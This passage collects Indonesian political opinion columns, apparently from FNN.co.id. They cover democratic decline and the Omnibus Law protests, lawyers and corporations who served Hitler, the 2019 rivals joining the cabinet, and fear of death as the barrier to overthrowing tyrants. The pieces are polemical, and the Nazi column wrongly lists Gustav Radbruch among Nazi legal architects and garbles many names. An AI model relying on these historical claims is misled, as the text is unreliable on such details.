fakta empirik. Disoroti berbagai lembaga global pemerhati demokrasi. The Economist Intelligence Unit’s Democracy Index yang dirilis Januari 2020 misalnya, menempatkan demokrasi Indonesia di urutan 64 dari 167 negara yang diteliti. Bandingkan dengan negeri jiran, Malaysia yang kerap disebut-sebut “belajar berdemokrasi” dari kita, situasinya justru lebih baik. Jauh di atas Indonesia, yaitu di posisi 43. Indeks demokrasi EIU itu, tidak asal-asalan disusun. Namun mengacu pada 60 indikator yang kemudian dikluster ke dalam lima isu utama. Termasuk tingkat partisipasi dalam politik. Yang dalam beberapa studi empiris, ditemukan, jika partisipasi dan pilihan politik masyarakat dipengaruhi oleh tingkat pendidikan atau melek politik, serta kondisi ekonomi. Artinya, indeks demokrasi tersebut, merefleksikan situasi kehidupan masyarakat di bawah. Penilaian The Economist itu, melengkapi berbagai alat ukur terhadap progres atau langkah suatu bangsa. Termasuk Human Development Index yang secara reguler dirilis oleh United Nations Development Programme. Indeks Pembangunan Manusia dari PBB. Yang sama mencemaskan, rendahnya mutu demokrasi dan pembangunan bangsa Indonesia yang disajikan tersebut, terjadi sebelum krisis multidimensi terjadi. Sementara pandemi Covid-19, telah mengoyak tatanan kehidupan bangsa. Artinya, bila ada studi baru yang menyigi kehidupan kebangsaan kita hari ini, hampir bisa dipastikan semua indikator mendapatkan nilai merah. Kembali ke soal isu demokrasi, HAM dan kebebasan. Pandemi Covid-19 betul-betul dimanfaatkan untuk memuluskan berbagai agenda, yang dalam situasi normal sulit diimplementasikan. Covid-19 seolah dianggap sebagai alat legitimasi. Paling baru adalah UU Omnibus Law yang disahkan atas nama investasi dan pemulihan krisis ekonomi. RUU Omnibus Law itu, kita saksikan mendapat badai protes yang bergelombang. Berbagai elemen masyarakat tumpah ruah di jalan. Menuntut penolakan dan pembatalan. Namun aspirasi yang mestinya diserap dalam proses legislasi negara demokrasi yang sehat, justru dikesampingkan. Ada apa ini? Yang menyedihkan, gelombang aspirasi itu bahkan memakan banyak tumbal. Menurut Amnesty Internasional Indonesia, 402 orang jadi korban kekerasan aparat dalam demo penolakan UU Omnibus Law. Ini persis yang diingatkan oleh Harvard University. Sebuah artikel yang terbit di laman resmi kampus terkemuka itu menyebut, pemerintahan otoriter di berbagai negara, yang hampir bisa dipastikan secara ekonomi disetir oleh oligarki dan konglomerasi, tampak terburu-buru mengesahkan banyak aturan. Aji mumpung. Selagi perhatian rakyatnya tersedot ke persoalan Covid-19. Situasi dan peristiwa-peristiwa yang terjadi dalam kurun waktu kurang dari satu tahun ini saja, telah jauh mendegradasi kehidupan bangsa ini. Indonesia, seperti nada khawatir yang ditulis oleh Harvard University terhadap praktik otoriter di tengah-tengah bencana, ditengarai akan mengalami kehidupan demokrasi yang berbeda yakni semakin jauh dari harapan setelah pasca Covid-19. Dengan kata lain, Indonesia semakin dekat dengan apa yang disebut oleh The Economist sebagai hybrid regime. Rezim hibrida. Dimana penguasa menganut politik campuran sebagai akibat dari transisi yang tidak selesai dari rezim otoriter ke rezim demokratis. Rezim hibrida menggabungkan fitur-fitur otokrasi berdasarkan kekuasaan otoritarian dengan fitur demokrasi. Anasir-anasir demokrasi tampak digunakan. Namun justru untuk melanggengkan praktik otokrasi. Misalnya memakai stempel legislatif untuk mengesahkan UU, meski ditolak oleh rakyat. Dalam bahasa lain, hal ini merupakan refleksi menguatnya oligarki. Ruling oligarchy. Seperti istilah yang diintrodusir oleh Profesor Jeffrey Winters dari Northwestern University, Amerika Serikat. Penulis adalah Senator Dewan Perwakilan Daerah.

Ahli Hukum Itu Ternyata Jongosnya Nazi

by Dr. Margarito Kamis, SH. M.Hum Jakarta FNN – Jum’at (01/01). Ketika rezim demokratis mulai produktif dengan kebijakan represif, maka setiap orang dalam negara itu harus mulai membuka lembara-lembaran memorial untuk lebih cermat dan teliti. Sejarah menunjukan rezim-rezim teror, penindas bengis dan jijik, lahir dari alam demokrasi. Demokrasilah yang melambungkan Adolf Hitler. Pria inferior, yang sempat diragukan kemampuannya oleh eksekutif I.G Farben. Memasuki kekuasaan setelah Nazi memenangkan pemilu legislatif, Hitler dengan bantuan ahli hukum yang bersedia menjadi jongosnya, memukul habis demokrasi itu. Korporasi Yang Biayai Hitler Nationalsozialistische Deutsche Arbeiterpartei (NSDAP), atau National Socialist German Workers' Party, dikenal umum Partai Nazi. Partai ini mengawali evolusinya melalui apa yang dikenal dengan Deutsche Arbeiterpartei (DAP). DAP eksis pada tahun 1920. Partai ini diprakarsai oleh para nasionalis Jerman, dan pekerja dengan kultur paramiliter. Spirit utama mereka, sederhana saja, “melawan komunis di Jerman pasca perang dunia pertama”. Spirit ini ternyata membawa Nazi, dengan Adolf Hitler, pria inferior ini menggenggam kekuasaan dan menjadi penindas paling sistimatis, kejam, bengis dan menjijikan terhadap rakyatnya. Menurut Charles F. Andrian, para pendukung Hitler itu berharap dapat memperoleh keuntungan dari persenjataan kembali Jerman. Selama berkuasa, program-program Nazi, juga Fasisme Italia, tulis Andrian, cenderung menguntungkan para pemilik tanah luas, dan industriawan besar. Siapa saja industriawan dan korporasi besar itu? Robert Simon Yavner, dalam artikel I.G Farben’s Petro-Chemical Plant and Concentration Camp at Auschwitz, menunjukan Frizt Haber dan Carl Boch (Haber-Bosch). Tahun 1916 mengambil alih BASF, Bayer, Hoescht, Cassela, Agfa, Griesheim dan ter-Mer. Tahun 1925 korporasi-korporasi ini dimerger. Terbentuklah I.G Farbenindustrie Aktiengesellschaff, yang dikenal dengan nama “I.G. Farben”. Bagaimana mereka mendekatkan, bahkan mengendalikan Hitler? Pemilu untuk Reigstaat tahun 1932 membawa partai Nazi memperoleh 230 kursi dari 608 kursi. Belum mayoritas. Tetapi itu sudah terbesar. Jumlah kursi itu menjadi politik Hitler memasuki kekuasaan. Presiden Jerman, Hindenberg, segera mengangkat dirinya (Hitler) menjadi Chancelor. Hitler belum benar-benar aman, sekalipun telah menjadi Chancelor. Didepan matanya akan berlangsung pemilihan Reigstaat yang lain. Pemilihan yang akan berlangsung pada tanggal 5 Maret 1933. Hitler berambisi memenangkannya. Bagaimana caranya? Herman Gorring, pencipta Gestapo, polisi rahasia Nazi, dikenal sangat kejam. Gorring yang bekerja berdasarkan panduan polotik Hitler, dan bukan hukum segera beraksi. Soal GESTAPO akan diulas pada kesempatan lain. Gorring segera mengadakan pertemuan rahasia dengan Hjalmar Schacht, salah seorang dari komunitas korporasi financial kala itu. Pertemuan ini berlangsung pada tanggal 20 Februari 1933. Gorring berharap akan memperoleh donasi dari komunitas ini sebesar tiga juta Reichmark untuk kepentingan Hitler memenangkan pemilu legislatif itu. Tercapaikah uang sebesar itu? Yavner menulis George von Cshnitzler, anggota dewan direksi dan direktur pemasaran I.G Farben, segera memperoleh instruksi dari Carl Bosch. Kepadanya, Bosch memerintah memberikan donasi sebesar 400.000 Reichmark. Hitler telah dibeli I.G Farben, dan menemukan diri berhutang untuk sebuah kemenangan Pemilu Legislativ pada I.G. Farben. Semuanya telah menjadi jelas untu Hitler dan I.G Farbenm. Hitler segera menggelar pertemuan rutin dengan I.G. Farben. Politik berbicara dengan tipe korup yang khas. Herman Schitz, orang I.G Farben segera diberi jabatan oleh Hitler sebagai deputi Reighstag, November 1933. Buetefisch, orang I.G. Farben lainnya segera bergabung dengan Gestapo, yang kala itu dipimpin oleh Heindrich Himmler. Begitulah kenyataannya. Oligarki dan korporasi milik orang kaya bekerja, yang isi kepalanya hanya uang dan untung. Mereka selalu mendekatkan diri pada pemerintah. Selalu menguasai dan mengarahkan kebijakan-kebijakan pemerintah untuk keuntungan mereka. Begitulah mereka, dimanapun. Mereka adalah kelompok manusia yang suka pada represi. Menjadi Jongos Nazi Hitler telah menggenggam kekuasaan sejak tahun 1933. Apa yang pertama dilakukan Hitler untuk meciptakan tatanan sosial politik dalam rangka melancarkan ambisi menjijikan itu? Hitler bukan ahli hukum. Dia tak mengerti hukum. Tetapi dia hanya merealsaikan ambisi horornya. Langkah pertamanya hanya dengan menangani hukum terlebih dahulu. Hukum, tepatnya sistem hukum langsung digarap. Diawali dengan membentuk Anabling Act 1933. Soal Anabling Act ini tidak akan saya ulas lagi. Hitler tahu ada orang yang ambisius. Yang pikiran dan sikapnya selalu konyol. Sikap seperti jongos, yang bersedia melayani Nazi. Salah besar kalau mengidentifikasi dua ahli hukum saja yang menyediakan dirinya menjadi jongos Nazi. Sekali lagi itu amat salah. Itu karena tidak mungkin membayangkan pengadilan Nazi dan Kementerian Kehakiman diisi oleh orang non hukum. Gustav Rudbruch, Carl Schimitt dan Hans Frank, harus diakui, dengan bobotnya yang berbeda, memainkan peran menentukan dalam pembentukan sistem hukum Nazi. Gustav dan Schimitt, sering disebut Schimittian untuk menunjuk pikiran-pikirannya adalah filosof. Sedangkan Frank, anak muda ini, adalah praktisi yang terlatih. Schmitt menyediakan fundasi filsafat untuk menjustifikasi nilai-nilai baru. Nilai yang selaras dalam esensi dan tampilan dengan visi Nazi, yang berpusat pada Hitler. Schmitt, anggota Privy Counsel, Ketua Reichfachgroupee, dan profesor pada Federasi Ahli Hukum Nazi, membuat “Dasar-Dasar Baru Penegakan Hukum”. Salah satu prinsip bentukan Profesor pencipta konsep “Total State”, yang kelak dikenal dengan sebutan “totalitarian state” ini adalah “penegakan hukum bersifat langsung dan dikontrol secara eksklusif, dengan cara menerapkan ketentuan-ketentuan yang bersifat umum”. General Clause, itu bukan undang-undang. Tetapi nilai dominan bangsa. Schimitt mengonsepkan nilai ini, dalam kerangka “Total State”. Nilai ini dilukiskan olehnya sebagai nilai homogen rakyat. Nilai yang kerangka kerjanya bersifat absolute dan otoritatif. Itu adalah personifikasi pada Fuhrerr, Hitler. Hakim, dalam prinsip General Clause ini, tidak bisa menggunakan silogisme. Ini mutlak. Tak bisa ditawar-tawar dengan alasan apapun itu. Hakim tidak diberi diskresi dalam memutus perkara. Hakim terikat pada idiologi Nazi. Pengadilan dipersonifikasi pada Hitler, dengan akibat yang jelas. Curt Rothemberg misalnya menjelaskan hakim yang kata-katanya dan sikapnya berbeda dengan Nazi, dihukum. Ide Recshtaat tentang konsep hukum, oleh Schimitt tidak dihubungkan dengan hakikat ide Rechstaat itu sendiri. Karena tradisi kebebasan burjois. Jadi sejak itu ide Rechstaat atau rule of law mengesampingkan human being, baik sebagai individu maupun sebagai asosiasi. Schimitt tersohor dalam politik sebagai pemikir, dan penyedia argumen filosofis untuk menjustifikasi ide-ide Hitler. Berbeda dengannya, Hans Frank, anak muda energik dan ambisius, yang telah mengenal Hitler sejak tahun 1928, memainkan peran teknokratis yang hebat. Diminta Hitler menjadi lawyer untuk anggota Nazi yang dituduh dan disidang pada tahun 1927-1930, Hans Frank membangun relasi dengan Hitler. Membentuk organisasi untuk Nazi Lawyer pada tahun 1928, Hans segera dipakai Hitler menjadi pembela atas tiga orang tentara Jerman yang disidangkan di Leipzig Reichwahr. Orang-orang ini dituduh melakukan high treason (penghianatan tingkat tinggi). Cerdas, Frank memberi Hitler panggung. Hitler diundang Frank ke pengadilan menyampaikan pidato dalam sidang itu. Hitler menggunakan kesempatan itu. Nasib, semua usaha pembelaannya, termasuk pembelaan Hitler, tidak mampu membebaskan ketiga terdakwa. Tetapi kesempatan itu telah sangat berguna untuk Hans Frank. Dia telah memperoleh simpati hebat dari Hitler. Hasil mengagumkan pun menanti pasti. Frank segera tertakdir sebagai ahli hukum utama Nazi, (Premier Nazi Lawyer). Hal-hal hebat lain pun segera mendatangi Hans. Hans segera diminta Hitler menjadi pengacara pribadinya, dan pada waktunya Hans diangkat Hitler memimpin pembentukan sistem hukum Nazi. Melukiskan dirinya sebagai manusia dengan ambisi besar, yang memiliki kemampuan pemimpin Jerman suatu hari kelak. Hans segera bekerja menanganai sistem hukum, berdasarkan perintah Hitler. Hans, pria ambisius ini punya dua strategi pembentrukan system hukum Nazi. Kedua strategi itu, disebut Cintya Fountanine, dalam Complicity in Perversion of Justice: The Royal of Lawyer Eroding the Rule of Law in the Third Reich, dimuat dalam Jurnal St Mary’s Journal on Legal Malpractice and Etics Vol 10. Nomor 2, 2020 adalah “purging and coordinating”. Esensi strategi “purging” tidak lain selain membersihkan organisasi pengacara Jewish Lawyer, Sosial Democrat Lawyer dan Communist Lawyer. Organisasi BNSDJ, dibersihkan dari tiga kelompok itu. Pada saat yang sama Law for Restoration of Profesional Civil Service diberi mandate membersihkan organisasinya dari semua Jewish (Yahudi), Social Democrat, hakim-hakim yang secara politik tak dapat dipercaya, Jaksa, dan para dosen progresif di Universitas, dibersihkan. Mandat itu menakutkan. Karl Linz, Ketua Federasi Hakim, benar-benar takut. Linz menghawatirkan keamanan kerjanya. Dia segera bertemu Hitler. Tetapi dengan cerdik Hitler malah memberi jaminan terhadap independensi hakim, jaminan khas orang mabuk kekuasaan. Strategi itu bekerja dengan cara yang sama mematikan, juga terlihat pada strategi kedua “coordinating”. Sebagai bagian integral dari strategi membangun sistem hukum Nazi, strategi kedua ini menancapkan pengendalian. Cerdik, setelah ahli hukum dari kalangan Yahudi, Social Demokrat dan Komunis dibersihkan dari organisasi pengacara, strategi kedua mengambil bentukl kongrit lainnya. Organisasi Pengacara yang telah dibersihkan dari unsyur Yahudi, Sosial Demokrat dan Komunis, ditransformasi ke dalam kontrol penuh Menteri Kehakiman yang diberi kewenangan melaksanakan transormasi itu. Dia diberi wewnang membuat semua aturan dalam menata sistem hukum. Ini terjadi tahun 1934. Pembaca FNN.co.id yang budiman. Bagaimana melihat Hans Frank, dalam implementai strategi ini. Memang tidak djelas. Tetapi Hans Frank telah diangkat Hitler menjadi Wakil Menteri Kehakiman, tanpa portofolio. Tahun 1936, Kementrian Kehakiman menerbitkan Code Etik pengacara, yang materinya merupakan penjabaran dari doktrin Nazi, yang berasal dari Hitler. Visi Hitler mengenai sistem hukum sangat jelas. Kepentingan negara berada di atas kepentingan klien. Pengacara harus merealisikannya. Kewajiban profesional Lawyer, dalam visi itu sangat jelas. Harus merepresentasi, mendahulukan kepentingan negara. Visi ini mencapai kesempurnaan pada tahun 1939. Jerman, dengan Nazi yang dipandu Hitler, jelas pada semua aspek. GESTAPO, polisi rahasia dengan cara joroknya mematai-matai, mengawasi, menangkap, dan menjebloskan siapa saja yang berbeda haluan politik dengan Nazi di Kamp Konsentrasi. Tak ada proses peradilan, apalagi fair. Jorok sekali. Itulah hasil kerjas ahli hukum jongos terhadap sistem hukum Nazi. Schimitt Hans Frank, dan Menteri Kehakiman, telah menulis hari esoknya dengan cara itu. Rakyat, khususnya Yahudi, Komunis dan Sosial Demokrat terkapar. Bagaimana dengan para oligarki yang menjadi cukong-cukong Hitler? Mereka selalu berjaya. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Harapan Awal Tahun 2021, Membangun Kecerdasan Politik Rakyat

by Farouk Abdullah Alwyni Jakarta FNN – (01/01). Mengawali awal tahun 2021 ini kita disajikan oleh pertunjukan politik unik Indonesia, ketika Sandiaga Uno diangkat menjadi Menteri di Kabinet Jokowi. Dengan masuknya Sandiaga ke kabinet pemerintahan Jokowi, maka lengkaplah sudah satu pasang Calon Presiden dan Wakil Presiden (Prabowo-Sandi) dari kubu lawan pasangan dengan Jokowi-Ma’ruf. Prabowo –Sandi masuk menjadi anak buah pasangan Jokowi’Ma’ruf yang memenangi pemilihan Presiden 2019. Padahal awalnya Prabowo-Sandi tidak menerima kemenangan sang calon Jokowi-Ma’ruf Amin. Sehingga Boleh dibilang proses politik yang terjadi tersebut adalah pendidikan politik yang paling unik dalam konteks internasional negara demokrasi modern. Sejarah baru dari proses demokrasi Indonesia telah dimulai, sejak pemilihan presiden yang langsung dipilih rakyat tahun 2004. Dalam satu sisi yang terjadi itu mungkin disebut ingin meminimalkan gesekan politik yang terjadi sewaktu proses pilpres berlangsung, dimana dua kubu pendukung calon pasangan presiden saling memberikan hujatan satu sama lain dengan istilah “cebong” dan “kampret”. Tetapi persoalannya, proses politik yang tejadi tersebut pada dasarnya menegasikan konsep demokrasi yang dikenal secara luas. biasanya pihak yang kalah berada di luar dan menjadi oposisi, dan mengkritisi pemerintahan yang berkuasa, agar proses “check and balance” bisa terjadi. Karena dengan ketiadaan “check and balance”, maka yang dirugikan adalah demokrasi, dan masyarakat secara keseluruhan. Proses kontrol dalam pemerintahan di negara demokrasi mutlak harus dilakukan. Karena tanpa kontrol, tidak mustahil kekuasaan cenderung untuk disalahgunakan. Kita mendengar istilah lama terkait hal ini yang disebut dengan “power tends to corrupt, and absolute power corrupts absolutely”. Dalam kerangka tata kelola pemerintahan yang baik, belakangan lembaga-lembaga pembangunan internasional menggunakan istilah “good governance”. Bahkan dalam level perusahaanpun dikenal secara internasional istilah “good corporate governance”. Dalam sejarah Islam setelah Rasulullah, Khalifah Pertama yang terpilih secara Syura, Abu Bakar Assiddiq Radiallaahu Anhu, yang menyatakan dalam khutbah pertama pengangkatannya sebagai Khalifah, “…, If I do well, help me; and if I do wrong, set me right. … Obey me so long as I obey God and His Messenger. But if I disobey God and His Messenger, you owe me no obedience. …” Esensi dari khutbah pertama Abubakar Assiddiq Radiallaahu Anhu ini adalah bahwa para pengikutnya mempunyai kewajiban untuk mengikutinya hanya jika beliau melakukan hal-hal yang benar. Tetapi mereka tidak harus mengikutinya jika beliau melakukan kesalahan, bahkan perlu melakukan koreksi kepadanya. Bahkan mengoreksinya dengan peddang sekalipun. Sebenarnya hal ini juga refleksi dari hadits Rasulullah Shallaahu Alaihi Wasallam yang menyatakan bahwa “seorang Muslim harus selalu membantu saudaranya. Baik saudaranya itu berbuat kebaikan dan kebenaran maupun kesalahan”. Para sahabat bertanya bagaimana mungkin mereka harus membantu saudaranya jika mereka melakukan kesalahan, Rasulullah Shallaahu Alaihi Wasallam menjawab “bahwa cara membantu saudaranya itu dengan mengkoreksi kesalahan-kesalahan yang dibuat saudaranya”. Pada prinsipnya penerapan “good governance” dan “check and balance” dalam tata kelola negara. Hal yang senada juga dinyatakan oleh politisi dan negarawan Amerika Serikat, diantaranya Theodore Roosevelt (Presiden Amerika Serikat ke 26) menyatakan “to announce that there must be no criticism of the President, or that we are to stand by the President, right or wrong, is not only unpatriotic and servile, but is morally treasonable to the American Public”. Terjemahan dari pernyataan Presiden Theodore Roosevelt itu kurang lebih adalah “menyatakan bahwa disana harus tidak ada kritik terhadap Presiden, atau kita harus selalu mendukung Presiden benar atau salah adalah bukan hanya tidak patriotis dan berjiwa budak. Tetapi secara moral telah berkhianat kepada masyarakat Amerika.” Selain itu, Benjamin Franklin, salah satu founding father Amerika Serikat juga menyatakan “it is the first responsibility of every citizen to question authority”. Tang terjemahannya “adalah tanggungjawab utama dari setiap warga negara untuk mempertanyakan otoritas”. Yang tidak kalah penting, ketika kita menghadapi penurunan kualitas demokrasi dewasa ini adalah pernyataan George Washington, Presiden Amerika Serikat pertama, yang menyatakan “If freedom of speech is taken away, then dumb and silent we may be led, like sheep to the slaughter”. Terjemahan bebas dari pernyataan Presiden George Washinton itu, “jika kebebasan berbicara dicabut, dan kita diarahkan untuk bisu dan diam, itu seperti domba-domba yang akan disembelih”. Tentunya dalam kesempatan yang lain kita bisa bahas batas antara kebebasan berbicara dan penghinaan. Tetapi esensi kebebasan berbicara disini adalah kritik terhadap pemerintahan. Jadi, bahwa dukungan dan kepatuhan kepada pemerintahan ataupun Presidennya ada kurannya. Terlepas apakah agama memegang peranan penting atau tidak di negara itu. Dukungan hanya berlaku jika sang pemimpin berpegang kepada nilai-nilai keadilan, kemanusiaan, kebenaran, kebaikan, dan pemihakan kepada rakyat kebanyakan. Nilai ini berlaku mulai dari masa Kekhalifahan Rasyidin dahulu sampai dengan negara modern yang berdasarkan demokrasi dewasa ini. Dalam konteks negara demokrasi Indonesia dewasa ini, perlu dibangun sebuah kesadaran di kalangan masyarakat agar selalu mengedepankan konsep “conditional support” kepada para pemimpin yang dipilihnya. Sebaliknya, jika rakyat memberikan “unconditional support” kepada para pemimpinnya, maka itu sangat berbahaya. Karena bisa menjurus kepada negara otoriter dan keditaktoran. Kediktaroran menjadi semboyan Raja Prancis dahulu yang menyatakan l’etat c’est moi. Negara adalah saya. Apapun yang saya lakukan, benar atau salah, rakyat harus memberikan dukungan. Tidak heran jika akhirnya sebuah sistim yang seperti ini pada akhirnya berakhir dengan berdarah-darah di bawah pisau guillotine. Konsep yang hampir sama adalah “right or wrong is my country”. Konsep yang bisa menimbulkan penyalah gunaan kekuasaan luar biasa dari para oknum yang berkuasa. Memang diakui, demokrasi bukan sebuah sistim yang ideal. Anggapan itu oleh para pemikir dan politisi Barat itu sendiri. Tetapi untuk saat ini, demokrasi adalah sebuah sistim yang bisa menghargai Hak Asasi Manusia (HAM) dan mengantarkan kesejahteraan dan kemajuan di negara-negara Eropa Barat, Amerika Utara, Asia Timur, Skandinavia, maupun Australia dan New Zeland dibandingkan dengan sistim-sistim lainnya. Spalagi seperti sistim monarki absolut model Saudi Arabia ataupun sistim satu partai model komunis China yang cenderung represif dalam memaksakan kehendaknya. Kita juga kita melihat model-model republik yang pada dasarnya adalah negara-negara otoriter. Model seperti yang ada di Mesir (diktator militer), Syria (diktator sipil), ataupun model “hybrid” Korea Utara, pemerintahan komunis yang seperti kerajaan. Dimana satu keluarga mempunyai kontrol luar biasa terhadap satu negara. Timbulnya Arab Spring di Timur Tengah sebenarnya adalah bentuk perlawanan kepada negara-negara dengan sistim otoriter yang korup. Kembali kepada realitas politik Indonesia akhir tahun 2020 kemarin. Satu pasang calon yang kalah dalam proses demokrasi, akhirnya “submit” dan mengikuti calon pemenang. Ini pelajaran politik penting bagi para pendukung fanatik kedua pasang calon tersebut. Bahwa politik pada dasarnya bisa begitu cair, terlebih lagi di Indonesia. Para pendukung kedua belah pihak harus menyadari bahwa mereka tidak bisa “gelap mata” terhadap pihak yang didukungnya, baik itu bagi pemenang maupun yang kalah. Kita dengar kekecewaan datang dari kubu kedua belah pihak. Dari pendukung Jokowi-Ma’ruf maupun Prabowo-Sandi. Pendukung pemenang melihat sendiri bagaimana lawan yang sebelumnya diserang habis-habisan, ternyata pada akhirnya bisa mendapatkan posisi. Sementara sang pendukung fanatik itupun tidak mendapatkan apa-apa. Yang lebih parah lagi adalah para dan taragis lagi pendukung pihak yang kalah. Banyak yang telah menggunakan sumber dana mereka sendiri sewaktu kampanye dahulu. Alasannya Prabowo-Sandi tidak mempunyai kekuatan pendanaan sebesar pasangan Jokowi-Ma’ruf. Alasan yang sebenarnya masih bisa diperdebatkan. Bahkan banyak yang berdarah-darah, masuk tahanan sebagal. Sebagian lagi ada meninggal dunia ketika memperjuangkan pasangan yang didukungnya dalam demo di depan Badan Pengawas Pemilu (Bawaslu) pada Mei 2019 yang lalu. Coba bayangkan apa yang dirasakan keluarga para korban pendukung pasangan Prabowo-Sandi ketika melihat realitas politik yang seperti ini? Esensinya Prabowo-Sandi mengkhianati esensi perjuangan mereka. Mengapa hal tersebut menjadi pelajaran politik penting bagi rakyat? Sebenarnya ke depan rakyat pun harusnya tidak perlu terlalu fanatik kepada para calon yang didukungnya. Rakyat harus menyadari bahwa mereka mendukung calon karena disatukan oleh cita-cita dan idealisme perjuangan semata. Begitu juga para figur yang didukungnnya. Ketika dianggap sudah tidak berada di rel cita-cita perjuangan dan idealisme bersama, pada saat itulah mereka sudah harus siap meninggalkan figur yang didukungnya. Fanatisme buta kepada satu figur pada akhirnya hanya akan menimbulkan kekecewaan yang luar biasa. Kondisi ini tidak hanya berlaku untuk dua pasangan Calon Presiden dan Wakil Presiden 2019 yang lalu. Tetapi yang terpenting dalam kontestasi politik ke depannya, pada 2024 mendatang. Pembangunan kecerdasan politik rakyat penting dalam kerangka menghilangkan “slavish attitude” (watak budak) dari rakyat. Yang melihat figur yang mereka dukung adalah segala-galanya. Bahkan seperti figur setengah dewa. Pada akhirnya walaupun mungkin mereka memiliki kelebihan-kelebihan, tetapi tentunya, dan pastinya merekapun mempunyai kekurangan-kekurangan. Karena mereka bukan malaikat, ataupun Nabi yang ma’sum. Nabi yang ma’sum pun pernah ditegur oleh Allah Suhaanahu Wata’ala ketika terlihat menganggap remeh tamu orang tua miskin yang buta, yang dianggap lemah ketika pada waktu yang sama beliau sedang mencoba mengajak pembesar Quraish yang “powerful” untuk masuk Islam. Disini bahkan seorang Rasulpun mengalami sebuah proses “check and balance”. Dalam konteks politik Indonesia, khususnya pemilihan Presiden 2024 nanti, rakyat kebanyakan harus cerdas. Bahwa orang-orang yang akan ikut kontestasi pemilihan presiden tersebut adalah calon-calon pelayan publik yang perlu memberikan pelayanan yang terbaik untuk rakyat. Bukan para calon penguasa yang akan menjadi tuan-tuan mereka. Apalagi setelah duduk disinggasana, kekuasaan hanya bekerja mementingkan kelompok elite saja. Rakyat perlu menyadari bahwa dukungan mereka terbatas, jika para calon yang dipilihnya adalah benar-benar mempunyai pemihakan kepada rakyat banyak. Bisa berjuang untuk menegakkan sebuah sistim yang ber-Ketuhanan, berkemanusiaan, menjaga persatuan, menghargai musyawarah. Selain itu, akan berjuang untuk terciptanya keadilan sosial bagi seluruh rakyat Indonesia (esensi Pancasila). Sebuah cita-cita luhur yang tidak main-main. Sebuah upaya menegakan masyarakat egaliter yang didasarkan oleh nilai-nilai ke-Tuhanan, atau tentunya nilai-nilai Tauhid bagi umat Islam. Rakyat dalam perjuangan politik yang seperti ini, perlu membuang jauh-jauh mental neo-feodal. Mental yang terlalu mengagung-agungkan para junjungannya. Padahal dalam konteks demokrasi modern, figur-figur yang tampil tersebut harus menjadi figur-figur yang mewakili kepentingan rakyat banyak. Figur-figur yang harus merasa lemah, jika tidak bisa menjaga kemaslahatan rakyat kebanyakan, ataupun kepentingan kelompok rakyat yang tertindas. Figur-figur yang harus merasa kuat dan bisa keras jika berhadapan dengan elite-elite yang justru membawa kemudharatan untuk rakyat banyak. Apalagi elite-elite yang mempunyai sifat menindas. Penulis adalah Chairman, Center for Islamic Studies in Finance, Economics, and Development (CISFED).

Musuh Manusia Bukan Kezaliman Tapi Rasa Takut Mati

by Asyari Usman Medan, FNN - Jumat (01/21). Sudah banyak ceramah tentang ‘takut mati’ yang kita dengar. Sudah banyak pula tulisan mengenai ‘mengapa orang takut mati’ yang telah kita baca. Dan semuanya kita pahami. Tetapi, kita semua tetap saja takut mati. Jangankan mati, cedera goresan saja pun kita takut. Inilah sebenarnya musuh terbesar manusia, termasuk umat Islam. Sekali lagi, bukan kezaliman dan kesewenangan penguasa yang menjadi musuh. Melainkan takut mati. Relevansinya sederhana saja. Kezaliman dan kesewenangan seharusnya bisa dilenyapkan jika manusia tidak takut terhadap konsekuensi apa saja. Inilah inti catatan sejarah di seluruh dunia tentang pelenyapan kesewenangan, kekejaman, keganasan, kesadisan, kebrutalan, dll. Banyak contoh historis mengenai penghancuran kekuasaan diktatorial, kekuasaan absolut, kekuasaan otoriter, di masa lampau. Mereka tumbang karena rakyat tidak takut mati. Ada cerita tentang penggulingan dan eksekusi mati Nikolai Ceausescu (1989) yang berkuasa di Rumania dengan tangan besi. Dia dituduh membunuhi rakyatnya secara semena-mena. Dia juga dikatakan menumpuk kekayaan melalui kesewenangan diktatorialnya. Ketika rakyat bangkit, Ceausescu lenyap. Ada Ferdinand Marcos di Filipina yang akhirnya mati di pengasingan karena diusir rakyatnya. Istri Ferdinand, Imelda, tidak rikuh menunjukkan gaya hidup mewah di tengah kesulitan berat rakyat Filipina. Mereka mencuri uang negara dalam jumlah ratusan juta dollar. Pada 2011, Presiden Hosni Mubarak di Mesir juga digulingkan rakyatnya yang selama puluhan tahun dia ditindas dengan kejam. Rezim Mubarak menyiksa tahanan dengan sangat kejam dan sadis. Rakyat Mesir hidup dalam ketakutan. Namun, rasa takut itu serentak hilang. Mereka melawan. Di Tunisia, Presiden Zine el-Abidine Ben Ali digulingkan rakyatnya pada Januari 2011. Revolusi rakyat ini disulut oleh kematian seorang anak muda, Mohamed Boazizi (26), yang membakar dirinya di depan kantor gubernur karena jualan asongannya disita oleh petugas kota. Rakyat yang hidup susah dan di bawah kekejaman yang menakutkan, akhirnya bergerak. Mereka melancarkan aksi protes tanpa jedah selama berminggu-minggu. Shah Iran Reza Fahlevi digulingkan rakyat lewat revolusi 1979. Kesemena-menaan keluarga kerajaan yang hidup supermewah ini berakhir setelah rakyat Iran bersatu melawan kesewenangan penguasa. Jadi, rakyat yang takut mati merupakan ‘lahan subur’ bagi kekuasaan diktatur dan otoriter. Tetapi, begitu rasa takut mati itu hilang, situasi menjadi berbalik. Rakyat tak lagi enggan menghadapi konsekuensi apa saja. Kesewenangan menjadi lenyap setelah suasana psikologis rakyat mencapai ‘break even point’ (BEP) dalam aksi protes yang tak bisa dijinakkan lagi. Setelah BEP, rakyat menguasai situasi dan kembali memegang kedaulatan. Melihat berbagai peristiwa historis di atas, kita menjadi semakin paham bahwa rasa takut mati selalu menjadi hambatan untuk melenyapkan kezaliman yang cabang-cabangnya antara lain adalah kekejaman, kesadisan, kebengisan, kebrutalan, kesewenangan, dlsb. Begitu rakyat berada di titik tak takut mati, maka berakhirlah situasi yang mendera itu. Itulah yang ditunjukkan oleh rakyat di Rumania, Filipina, Mesir, Tunisia, Iran, dan banyak negara lain.[] Penulis adalah Wartawan Senior FNN.co.id.

Empat Plus Satu Wajah Jokowi

